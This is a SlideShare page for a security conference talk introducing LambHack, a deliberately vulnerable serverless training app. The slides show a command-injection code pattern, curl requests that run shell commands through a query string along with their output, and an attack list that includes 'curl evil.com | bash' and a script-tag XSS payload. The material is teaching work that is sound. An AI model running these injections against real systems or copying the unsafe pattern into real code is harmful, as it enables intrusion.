SlideShare a Scribd company logo
CLOUD AUSTIN @WICKETT
LAMBHACK:
A VULNERABLE
SERVERLESS
APPLICATION
JAMES WICKETT
CLOUD AUSTIN @WICKETT
Development of highly-resilient,
distributed systems is now
easier than ever with serverless,
however application security is
more important than ever
before.
WHY IT MATTERS
CLOUD AUSTIN @WICKETT
‣ HEAD OF RESEARCH AT SIGNAL SCIENCES
‣ DEVOPS DAYS AUSTIN ORGANIZER
‣ AUTHOR DEVOPS FUNDAMENTALS AT
LYNDA.COM
‣ BLOGGER AT THEAGILEADMIN.COM AND
LABS.SIGNALSCIENCES.COM
JAMES WICKETT
CLOUD AUSTIN @WICKETT
Serverless encourages functions as
deploy units and run as one-time*,
read-only containers*, coupled with
third party services that allow running
end-to-end applications without
worrying about system operation.
SERVERLESS DEFINITION
* - there is container reuse and writability
CLOUD AUSTIN @WICKETT
VMsHardware Serverless
Inspiration from @adrianco
Waste
Value
CLOUD AUSTIN @WICKETT
CLOUD AUSTIN @WICKETT
http://martinfowler.com/articles/serverless.html
API GATEWAY
CLOUD AUSTIN @WICKETT
CI/CD
auth
wordpress
scraper
event ingestion
chatbots
load testing
MORE SERVERLESS USE CASES
CLOUD AUSTIN @WICKETT
Security
CLOUD AUSTIN @WICKETT
‣ SECURE SOFTWARE SUPPLY CHAIN
‣ DELIVERY PIPELINE
‣ DATA FLOW SECURITY
‣ ATTACK DETECTION
FOUR AREAS OF
SERVERLESS SECURITY
CLOUD AUSTIN @WICKETT
https://media.ccc.de/v/33c3-7865-
gone_in_60_milliseconds
CLOUD AUSTIN @WICKETT
https://medium.com/
@PaulDJohnston/security-and-
serverless-ec52817385c4
CLOUD AUSTIN @WICKETT
INSPIRED BY WEB GOAT
AND ALL THE OTHER
GOATS…
CLOUD AUSTIN @WICKETT
CLOUD AUSTIN @WICKETT
‣ SERVERLESS HAS A FALSE SENSE OF SECURITY
‣ API PROXY LAYER THING PROTECTS ME, RIGHT? ;)
‣ WANTED TO SEE MAKE THE POINT THAT APPSEC IS
RELEVANT IN SERVERLESS
‣ A VULNERABLE LAMBDA + API GATEWAY STACK
‣ BORN FROM THE HERITAGE OF WEBGOAT, RAILS
GOAT, GRUYERE, AND OTHERS…
INTRODUCING LAMBHACK
CLOUD AUSTIN @WICKETT
‣ A VULNERABLE LAMBDA + API GATEWAY STACK
‣ OPEN SOURCE, MIT LICENSED
‣ INCLUDES ARBITRARY CODE EXECUTION IN A
QUERY STRING
‣ MORE WORK NEEDED, PULL REQUESTS ACCEPTED
AND LOOKING FOR COMMUNITY HELP
‣ GITHUB.COM/WICKETT/LAMBHACK
github.com/wickett/lamback
CLOUD AUSTIN @WICKETT
CLOUD AUSTIN @WICKETT
‣ GOLANG!
‣ AWS LAMBDA SUPPORTS BRING YOUR OWN
BINARY
‣ SPARTA WRAPS YOUR COMPILED BINARY WITH
A NODE.JS SHIM
‣ GO SPARTA ALSO HANDLES ALL THE OTHER
AWS SERVICES YOUR APP CONSUMES
GO SPARTA
CLOUD AUSTIN @WICKETT
‣ CLOUDWATCH EVENTS AND LOGS
‣ DYNAMODB, KINESIS,
‣ S3
‣ SES, SNS
‣ API GATEWAY CREATION
GO SPARTA INCLUDES
CLOUD AUSTIN @WICKETT
lambhack is a vulnerable
serverless lambda application
It would certainly be a bad idea
to base any coding patterns off
what you see here.
CLOUD AUSTIN @WICKETT
CLOUD AUSTIN @WICKETT
WHY IS THIS BAD?
command := lambdaEvent.QueryParams[“args"]
output := runner.Run(command)
CLOUD AUSTIN @WICKETT
With command execution
available to us in
lambhack, we can poke
around the container a bit
CLOUD AUSTIN @WICKETT
UNAME -A
$ curl “https://XXXX.execute-api.us-
east-1.amazonaws.com/prod/lambhack/c?args=uname+-a;
+sleep+1"
> Linux ip-10-36-34-119 4.4.35-33.55.amzn1.x86_64 #1
SMP Tue Dec 6 20:30:04 UTC 2016 x86_64 x86_64 x86_64
GNU/Linux
CLOUD AUSTIN @WICKETT
CAT /PROC/VERSION
$ curl “https://XXXX.execute-api.us-
east-1.amazonaws.com/prod/lambhack/c?args=cat+/proc/
version;+sleep+1”
> Linux version 4.4.35-33.55.amzn1.x86_64
(mockbuild@gobi-build-60006) (gcc version
4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1
SMP Tue Dec 6 20:30:04 UTC 2016
CLOUD AUSTIN @WICKETT
LET’S LOOK IN /TMP
$ curl “https://XXXX.execute-api.us-
east-1.amazonaws.com/prod/lambhack/c?args=ls+-la+/tmp;
+sleep+1"
total
17916
drwx------ 2 sbx_user1056 490 4096 Feb 8 22:02 .
drwxr-xr-x 21 root root 4096 Feb 8 21:47 ..
-rwxrwxr-x 1 sbx_user1056 490 18334049 Feb 8 22:02 Sparta.lambda.amd64
CLOUD AUSTIN @WICKETT
LAMBDA REUSE IN ACTION!
$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/
prod/lambhack/c?args=ls+/tmp;+sleep+1"
$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/
prod/lambhack/c?args=touch+/tmp/wickettfile;+sleep+1”
$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/
prod/lambhack/args=ls+/tmp;+sleep+1"
> Sparta.lambda.amd64
wickettfile
CLOUD AUSTIN @WICKETT
WHICH CURL
$ curl “https://XXXX.execute-api.us-
east-1.amazonaws.com/prod/lambhack/c?
args=which+curl;+sleep+1"
> /usr/bin/curl
CLOUD AUSTIN @WICKETT
GOT PROXY?
$ curl “https://XXXX.execute-api.us-
east-1.amazonaws.com/prod/lambhack/c?
args=curl+https://www.example.com;
+sleep+1"
> "<!doctype html>n<html>n<head>n <title>Example Domain</title>nn <meta charset="utf-8" />n <meta http-equiv="Content-type"
content="text/html; charset=utf-8" />n <meta name="viewport" content="width=device-width, initial-scale=1" />n <style type="text/
css">n body {n background-color: #f0f0f2;n margin: 0;n padding: 0;n font-family: "Open Sans", "Helvetica
Neue", Helvetica, Arial, sans-serif;n n }n div {n width: 600px;n margin: 5em auto;n padding: 50px;n
background-color: #fff;n border-radius: 1em;n }n a:link, a:visited {n color: #38488f;n text-decoration: none;n
}n @media (max-width: 700px) {n body {n background-color: #fff;n }n div {n width: auto;n
margin: 0 auto;n border-radius: 0;n padding: 1em;n }n }n </style> n</head>nn<body>n<div>n
<h1>Example Domain</h1>n <p>This domain is established to be used for illustrative examples in documents. You may use thisn domain in
examples without prior coordination or asking for permission.</p>n <p><a href="http://www.iana.org/domains/example">More information...</
a></p>n</div>n</body>n</html>n"
bit.ly/lh-demo1
CLOUD AUSTIN @WICKETT
‣ HELP NEEDED
‣ ADD XSS AND OTHER ATTACKS
‣ ADD AUTH VECTORS AND EXAMPLES
‣ NEEDS A UI PLEASE!
‣ PULL REQUESTS ACCEPTED :)
FUTURE OF LAMBHACK
CLOUD AUSTIN @WICKETT
APPLICATION SECURITY IS
STILL RELEVANT 15+
YEARS LATER
CLOUD AUSTIN @WICKETT
CLOUD AUSTIN @WICKETT
‣ New surface area, similar appsec problems
‣ Command Exec, XSS, Injection Attacks
‣ All the OWASP Top Ten
‣ What is old is new.
‣ Appending ‘curl evil.com | bash’
‣ Add <script>alert(1)</script> to a filename you
upload on s3
TYPES OF ATTACKS
CLOUD AUSTIN @WICKETT
Development of highly-resilient,
distributed systems is now
easier than ever with serverless,
however application security is
more important than ever
before.
WHY IT MATTERS
CLOUD AUSTIN @WICKETT
WANT THE SLIDES RIGHT
NOW OR HAVE QUESTIONS?
Send an email to 

james@signalsciences.com

More Related Content

PDF
AppSec California 2018: The Path of DevOps Enlightenment for InfoSec
James Wickett
 
PDF
The Emergent Cloud Security Toolchain for CI/CD
James Wickett
 
PDF
The Path of DevOps Enlightenment for InfoSec
James Wickett
 
PDF
DevSecOps and the New Path Forward
James Wickett
 
PDF
Innotech Austin 2017: The Path of DevOps Enlightenment for InfoSec
James Wickett
 
PDF
Defense-Oriented DevOps for Modern Software Development
James Wickett
 
PDF
Pragmatic Security and Rugged DevOps - SXSW 2015
James Wickett
 
PDF
Serverless Security: A How-to Guide @ SnowFROC 2019
James Wickett
 
AppSec California 2018: The Path of DevOps Enlightenment for InfoSec
James Wickett
 
The Emergent Cloud Security Toolchain for CI/CD
James Wickett
 
The Path of DevOps Enlightenment for InfoSec
James Wickett
 
DevSecOps and the New Path Forward
James Wickett
 
Innotech Austin 2017: The Path of DevOps Enlightenment for InfoSec
James Wickett
 
Defense-Oriented DevOps for Modern Software Development
James Wickett
 
Pragmatic Security and Rugged DevOps - SXSW 2015
James Wickett
 
Serverless Security: A How-to Guide @ SnowFROC 2019
James Wickett
 

What's hot (20)

PDF
From Zero to DevSecOps in 60 Minutes - DevTalks Romania - Cluj-Napoca
jerryhargrove
 
PDF
New Farming Methods in the Epistemological Wasteland of Application Security
James Wickett
 
PDF
Serverless Security: Doing Security in 100 milliseconds
James Wickett
 
PDF
Release Your Inner DevSecOp
James Wickett
 
PDF
The Emergent Cloud Security Toolchain for CI/CD
James Wickett
 
PDF
How to Effect Change in the Epistemological Wasteland of Application Security
James Wickett
 
PDF
The Seven Habits of the Highly Effective DevSecOp
James Wickett
 
PDF
Security in the FaaS Lane
James Wickett
 
PPTX
Defining DevSecOps
Uchit Vyas ☁
 
PDF
DevOpsDays Austin: Security in the FaaS Lane
James Wickett
 
PDF
The New Ways of DevSecOps - The Secure Dev 2019
James Wickett
 
PDF
A DevSecOps Tale of Business, Engineering, and People
James Wickett
 
PDF
Pragmatic Pipeline Security
James Wickett
 
PDF
Epistemological Problem of Application Security
James Wickett
 
PDF
A Way to Think about DevSecOps: MEASURE
James Wickett
 
PDF
NewOps Days 2019: The New Ways of Chaos, Security, and DevOps
James Wickett
 
PDF
Rugged DevOps Will help you build ur cloudz
James Wickett
 
PDF
The New Ways of Chaos, Security, and DevOps
James Wickett
 
PDF
The Security, DevOps, and Chaos Playbook to Change the World
James Wickett
 
PDF
The DevSecOps Builder’s Guide to the CI/CD Pipeline
James Wickett
 
From Zero to DevSecOps in 60 Minutes - DevTalks Romania - Cluj-Napoca
jerryhargrove
 
New Farming Methods in the Epistemological Wasteland of Application Security
James Wickett
 
Serverless Security: Doing Security in 100 milliseconds
James Wickett
 
Release Your Inner DevSecOp
James Wickett
 
The Emergent Cloud Security Toolchain for CI/CD
James Wickett
 
How to Effect Change in the Epistemological Wasteland of Application Security
James Wickett
 
The Seven Habits of the Highly Effective DevSecOp
James Wickett
 
Security in the FaaS Lane
James Wickett
 
Defining DevSecOps
Uchit Vyas ☁
 
DevOpsDays Austin: Security in the FaaS Lane
James Wickett
 
The New Ways of DevSecOps - The Secure Dev 2019
James Wickett
 
A DevSecOps Tale of Business, Engineering, and People
James Wickett
 
Pragmatic Pipeline Security
James Wickett
 
Epistemological Problem of Application Security
James Wickett
 
A Way to Think about DevSecOps: MEASURE
James Wickett
 
NewOps Days 2019: The New Ways of Chaos, Security, and DevOps
James Wickett
 
Rugged DevOps Will help you build ur cloudz
James Wickett
 
The New Ways of Chaos, Security, and DevOps
James Wickett
 
The Security, DevOps, and Chaos Playbook to Change the World
James Wickett
 
The DevSecOps Builder’s Guide to the CI/CD Pipeline
James Wickett
 

Similar to LambHack: A Vulnerable Serverless Application (20)

PDF
Serverless Security at LASCON 2017
James Wickett
 
PPT
Cloud ppt
SamreenAkhtar8
 
PDF
Introduction to Serverless Computing and AWS Lambda - AWS IL Meetup
Boaz Ziniman
 
PDF
Serverless and the Way Forward
Sonatype
 
PDF
Working in the multi-cloud with libcloud
Grig Gheorghiu
 
PPTX
Aws compute options
DrRajapraveen
 
PPT
Fowa Miami 09 Cloud Computing Workshop
Mark Masterson
 
PDF
AWS Community Day Bangkok 2019 - Build a Serverless Web Application in 30 mins
AWS User Group - Thailand
 
PDF
Us 17-krug-hacking-severless-runtimes
Ravishankar Somasundaram
 
PPTX
Drilett aws vpc_presentation_shared
David Rilett
 
PPTX
Cloud Computing from Academic Perspective
Dedy Hariyadi
 
PDF
Using Data Science & Serverless Python to find apartment in Toronto
Daniel Zivkovic
 
PPT
CyberCrime in the Cloud and How to defend Yourself
Alert Logic
 
PDF
«Что такое serverless-архитектура и как с ней жить?» Николай Марков, Aligned ...
it-people
 
PDF
Txlf2012
Joe Brockmeier
 
PDF
Serverless Security: Are you ready for the Future?
James Wickett
 
PDF
Serverless use cases with AWS Lambda
Boaz Ziniman
 
PDF
AWSomeDay Zurich 2018 - How to go serverless
Roman Plessl
 
PPTX
Fiware cloud developers week brussels
Fernando Lopez Aguilar
 
PPTX
Hadoop World 2011: Sherpasurfing - Wayne Wheeles
Cloudera, Inc.
 
Serverless Security at LASCON 2017
James Wickett
 
Cloud ppt
SamreenAkhtar8
 
Introduction to Serverless Computing and AWS Lambda - AWS IL Meetup
Boaz Ziniman
 
Serverless and the Way Forward
Sonatype
 
Working in the multi-cloud with libcloud
Grig Gheorghiu
 
Aws compute options
DrRajapraveen
 
Fowa Miami 09 Cloud Computing Workshop
Mark Masterson
 
AWS Community Day Bangkok 2019 - Build a Serverless Web Application in 30 mins
AWS User Group - Thailand
 
Us 17-krug-hacking-severless-runtimes
Ravishankar Somasundaram
 
Drilett aws vpc_presentation_shared
David Rilett
 
Cloud Computing from Academic Perspective
Dedy Hariyadi
 
Using Data Science & Serverless Python to find apartment in Toronto
Daniel Zivkovic
 
CyberCrime in the Cloud and How to defend Yourself
Alert Logic
 
«Что такое serverless-архитектура и как с ней жить?» Николай Марков, Aligned ...
it-people
 
Txlf2012
Joe Brockmeier
 
Serverless Security: Are you ready for the Future?
James Wickett
 
Serverless use cases with AWS Lambda
Boaz Ziniman
 
AWSomeDay Zurich 2018 - How to go serverless
Roman Plessl
 
Fiware cloud developers week brussels
Fernando Lopez Aguilar
 
Hadoop World 2011: Sherpasurfing - Wayne Wheeles
Cloudera, Inc.
 

More from James Wickett (9)

PDF
A Pragmatic Union: Security and SRE
James Wickett
 
PDF
A Tale of Woe, Chaos, and Business
James Wickett
 
PDF
The New Security Playbook: DevSecOps
James Wickett
 
PDF
Adversary Driven Defense in the Real World
James Wickett
 
PDF
DevSecOps and the CI/CD Pipeline
James Wickett
 
PDF
The State of DevSecOps in 2018
James Wickett
 
PDF
DevSecOps in the Year 2018
James Wickett
 
PDF
The Path of DevOps Enlightenment for InfoSec
James Wickett
 
PDF
DevSecOps Singapore 2017 - Security in the Delivery Pipeline
James Wickett
 
A Pragmatic Union: Security and SRE
James Wickett
 
A Tale of Woe, Chaos, and Business
James Wickett
 
The New Security Playbook: DevSecOps
James Wickett
 
Adversary Driven Defense in the Real World
James Wickett
 
DevSecOps and the CI/CD Pipeline
James Wickett
 
The State of DevSecOps in 2018
James Wickett
 
DevSecOps in the Year 2018
James Wickett
 
The Path of DevOps Enlightenment for InfoSec
James Wickett
 
DevSecOps Singapore 2017 - Security in the Delivery Pipeline
James Wickett
 

Recently uploaded (20)

PDF
QAware_Mario-Leander_Reimer_Architecting and Building a K8s-based AI Platform...
QAware GmbH
 
PDF
advancepresentationskillshdhdhhdhdhdhhfhf
jasmenrojas249
 
PDF
ShowUs: Pharo Stream Deck (ESUG 2025, Gdansk)
ESUG
 
PDF
IEEE-CS Tech Predictions, SWEBOK and Quantum Software: Towards Q-SWEBOK
Hironori Washizaki
 
PDF
The Role of Automation and AI in EHS Management for Data Centers.pdf
TECH EHS Solution
 
PPTX
ASSIGNMENT_1[1][1][1][1][1] (1) variables.pptx
kr2589474
 
PPTX
TestNG for Java Testing and Automation testing
ssuser0213cb
 
DOCX
Can You Build Dashboards Using Open Source Visualization Tool.docx
Varsha Nayak
 
PPTX
Presentation about variables and constant.pptx
safalsingh810
 
PDF
What to consider before purchasing Microsoft 365 Business Premium_PDF.pdf
Q-Advise
 
PPTX
Smart Panchayat Raj e-Governance App.pptx
Rohitnikam33
 
PPT
Activate_Methodology_Summary presentatio
annapureddyn
 
PPTX
The-Dawn-of-AI-Reshaping-Our-World.pptxx
parthbhanushali307
 
PDF
Key Features to Look for in Arizona App Development Services
Net-Craft.com
 
PPTX
oapresentation.pptx
mehatdhavalrajubhai
 
PPTX
GALILEO CRS SYSTEM | GALILEO TRAVEL SOFTWARE
philipnathen82
 
PDF
Salesforce Implementation Services Provider.pdf
VALiNTRY360
 
PDF
49785682629390197565_LRN3014_Migrating_the_Beast.pdf
Abilash868456
 
PDF
Build Multi-agent using Agent Development Kit
FadyIbrahim23
 
PPT
Why Reliable Server Maintenance Service in New York is Crucial for Your Business
Sam Vohra
 
QAware_Mario-Leander_Reimer_Architecting and Building a K8s-based AI Platform...
QAware GmbH
 
advancepresentationskillshdhdhhdhdhdhhfhf
jasmenrojas249
 
ShowUs: Pharo Stream Deck (ESUG 2025, Gdansk)
ESUG
 
IEEE-CS Tech Predictions, SWEBOK and Quantum Software: Towards Q-SWEBOK
Hironori Washizaki
 
The Role of Automation and AI in EHS Management for Data Centers.pdf
TECH EHS Solution
 
ASSIGNMENT_1[1][1][1][1][1] (1) variables.pptx
kr2589474
 
TestNG for Java Testing and Automation testing
ssuser0213cb
 
Can You Build Dashboards Using Open Source Visualization Tool.docx
Varsha Nayak
 
Presentation about variables and constant.pptx
safalsingh810
 
What to consider before purchasing Microsoft 365 Business Premium_PDF.pdf
Q-Advise
 
Smart Panchayat Raj e-Governance App.pptx
Rohitnikam33
 
Activate_Methodology_Summary presentatio
annapureddyn
 
The-Dawn-of-AI-Reshaping-Our-World.pptxx
parthbhanushali307
 
Key Features to Look for in Arizona App Development Services
Net-Craft.com
 
oapresentation.pptx
mehatdhavalrajubhai
 
GALILEO CRS SYSTEM | GALILEO TRAVEL SOFTWARE
philipnathen82
 
Salesforce Implementation Services Provider.pdf
VALiNTRY360
 
49785682629390197565_LRN3014_Migrating_the_Beast.pdf
Abilash868456
 
Build Multi-agent using Agent Development Kit
FadyIbrahim23
 
Why Reliable Server Maintenance Service in New York is Crucial for Your Business
Sam Vohra
 

LambHack: A Vulnerable Serverless Application

  • 1. CLOUD AUSTIN @WICKETT LAMBHACK: A VULNERABLE SERVERLESS APPLICATION JAMES WICKETT
  • 2. CLOUD AUSTIN @WICKETT Development of highly-resilient, distributed systems is now easier than ever with serverless, however application security is more important than ever before. WHY IT MATTERS
  • 3. CLOUD AUSTIN @WICKETT ‣ HEAD OF RESEARCH AT SIGNAL SCIENCES ‣ DEVOPS DAYS AUSTIN ORGANIZER ‣ AUTHOR DEVOPS FUNDAMENTALS AT LYNDA.COM ‣ BLOGGER AT THEAGILEADMIN.COM AND LABS.SIGNALSCIENCES.COM JAMES WICKETT
  • 4. CLOUD AUSTIN @WICKETT Serverless encourages functions as deploy units and run as one-time*, read-only containers*, coupled with third party services that allow running end-to-end applications without worrying about system operation. SERVERLESS DEFINITION * - there is container reuse and writability
  • 5. CLOUD AUSTIN @WICKETT VMsHardware Serverless Inspiration from @adrianco Waste Value
  • 8. CLOUD AUSTIN @WICKETT CI/CD auth wordpress scraper event ingestion chatbots load testing MORE SERVERLESS USE CASES
  • 10. CLOUD AUSTIN @WICKETT ‣ SECURE SOFTWARE SUPPLY CHAIN ‣ DELIVERY PIPELINE ‣ DATA FLOW SECURITY ‣ ATTACK DETECTION FOUR AREAS OF SERVERLESS SECURITY
  • 13. CLOUD AUSTIN @WICKETT INSPIRED BY WEB GOAT AND ALL THE OTHER GOATS…
  • 15. CLOUD AUSTIN @WICKETT ‣ SERVERLESS HAS A FALSE SENSE OF SECURITY ‣ API PROXY LAYER THING PROTECTS ME, RIGHT? ;) ‣ WANTED TO SEE MAKE THE POINT THAT APPSEC IS RELEVANT IN SERVERLESS ‣ A VULNERABLE LAMBDA + API GATEWAY STACK ‣ BORN FROM THE HERITAGE OF WEBGOAT, RAILS GOAT, GRUYERE, AND OTHERS… INTRODUCING LAMBHACK
  • 16. CLOUD AUSTIN @WICKETT ‣ A VULNERABLE LAMBDA + API GATEWAY STACK ‣ OPEN SOURCE, MIT LICENSED ‣ INCLUDES ARBITRARY CODE EXECUTION IN A QUERY STRING ‣ MORE WORK NEEDED, PULL REQUESTS ACCEPTED AND LOOKING FOR COMMUNITY HELP ‣ GITHUB.COM/WICKETT/LAMBHACK github.com/wickett/lamback
  • 18. CLOUD AUSTIN @WICKETT ‣ GOLANG! ‣ AWS LAMBDA SUPPORTS BRING YOUR OWN BINARY ‣ SPARTA WRAPS YOUR COMPILED BINARY WITH A NODE.JS SHIM ‣ GO SPARTA ALSO HANDLES ALL THE OTHER AWS SERVICES YOUR APP CONSUMES GO SPARTA
  • 19. CLOUD AUSTIN @WICKETT ‣ CLOUDWATCH EVENTS AND LOGS ‣ DYNAMODB, KINESIS, ‣ S3 ‣ SES, SNS ‣ API GATEWAY CREATION GO SPARTA INCLUDES
  • 20. CLOUD AUSTIN @WICKETT lambhack is a vulnerable serverless lambda application It would certainly be a bad idea to base any coding patterns off what you see here.
  • 22. CLOUD AUSTIN @WICKETT WHY IS THIS BAD? command := lambdaEvent.QueryParams[“args"] output := runner.Run(command)
  • 23. CLOUD AUSTIN @WICKETT With command execution available to us in lambhack, we can poke around the container a bit
  • 24. CLOUD AUSTIN @WICKETT UNAME -A $ curl “https://XXXX.execute-api.us- east-1.amazonaws.com/prod/lambhack/c?args=uname+-a; +sleep+1" > Linux ip-10-36-34-119 4.4.35-33.55.amzn1.x86_64 #1 SMP Tue Dec 6 20:30:04 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
  • 25. CLOUD AUSTIN @WICKETT CAT /PROC/VERSION $ curl “https://XXXX.execute-api.us- east-1.amazonaws.com/prod/lambhack/c?args=cat+/proc/ version;+sleep+1” > Linux version 4.4.35-33.55.amzn1.x86_64 (mockbuild@gobi-build-60006) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Tue Dec 6 20:30:04 UTC 2016
  • 26. CLOUD AUSTIN @WICKETT LET’S LOOK IN /TMP $ curl “https://XXXX.execute-api.us- east-1.amazonaws.com/prod/lambhack/c?args=ls+-la+/tmp; +sleep+1" total 17916 drwx------ 2 sbx_user1056 490 4096 Feb 8 22:02 . drwxr-xr-x 21 root root 4096 Feb 8 21:47 .. -rwxrwxr-x 1 sbx_user1056 490 18334049 Feb 8 22:02 Sparta.lambda.amd64
  • 27. CLOUD AUSTIN @WICKETT LAMBDA REUSE IN ACTION! $ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/ prod/lambhack/c?args=ls+/tmp;+sleep+1" $ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/ prod/lambhack/c?args=touch+/tmp/wickettfile;+sleep+1” $ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/ prod/lambhack/args=ls+/tmp;+sleep+1" > Sparta.lambda.amd64 wickettfile
  • 28. CLOUD AUSTIN @WICKETT WHICH CURL $ curl “https://XXXX.execute-api.us- east-1.amazonaws.com/prod/lambhack/c? args=which+curl;+sleep+1" > /usr/bin/curl
  • 29. CLOUD AUSTIN @WICKETT GOT PROXY? $ curl “https://XXXX.execute-api.us- east-1.amazonaws.com/prod/lambhack/c? args=curl+https://www.example.com; +sleep+1" > "<!doctype html>n<html>n<head>n <title>Example Domain</title>nn <meta charset="utf-8" />n <meta http-equiv="Content-type" content="text/html; charset=utf-8" />n <meta name="viewport" content="width=device-width, initial-scale=1" />n <style type="text/ css">n body {n background-color: #f0f0f2;n margin: 0;n padding: 0;n font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;n n }n div {n width: 600px;n margin: 5em auto;n padding: 50px;n background-color: #fff;n border-radius: 1em;n }n a:link, a:visited {n color: #38488f;n text-decoration: none;n }n @media (max-width: 700px) {n body {n background-color: #fff;n }n div {n width: auto;n margin: 0 auto;n border-radius: 0;n padding: 1em;n }n }n </style> n</head>nn<body>n<div>n <h1>Example Domain</h1>n <p>This domain is established to be used for illustrative examples in documents. You may use thisn domain in examples without prior coordination or asking for permission.</p>n <p><a href="http://www.iana.org/domains/example">More information...</ a></p>n</div>n</body>n</html>n" bit.ly/lh-demo1
  • 30. CLOUD AUSTIN @WICKETT ‣ HELP NEEDED ‣ ADD XSS AND OTHER ATTACKS ‣ ADD AUTH VECTORS AND EXAMPLES ‣ NEEDS A UI PLEASE! ‣ PULL REQUESTS ACCEPTED :) FUTURE OF LAMBHACK
  • 31. CLOUD AUSTIN @WICKETT APPLICATION SECURITY IS STILL RELEVANT 15+ YEARS LATER
  • 33. CLOUD AUSTIN @WICKETT ‣ New surface area, similar appsec problems ‣ Command Exec, XSS, Injection Attacks ‣ All the OWASP Top Ten ‣ What is old is new. ‣ Appending ‘curl evil.com | bash’ ‣ Add <script>alert(1)</script> to a filename you upload on s3 TYPES OF ATTACKS
  • 34. CLOUD AUSTIN @WICKETT Development of highly-resilient, distributed systems is now easier than ever with serverless, however application security is more important than ever before. WHY IT MATTERS
  • 35. CLOUD AUSTIN @WICKETT WANT THE SLIDES RIGHT NOW OR HAVE QUESTIONS? Send an email to 
 [email protected]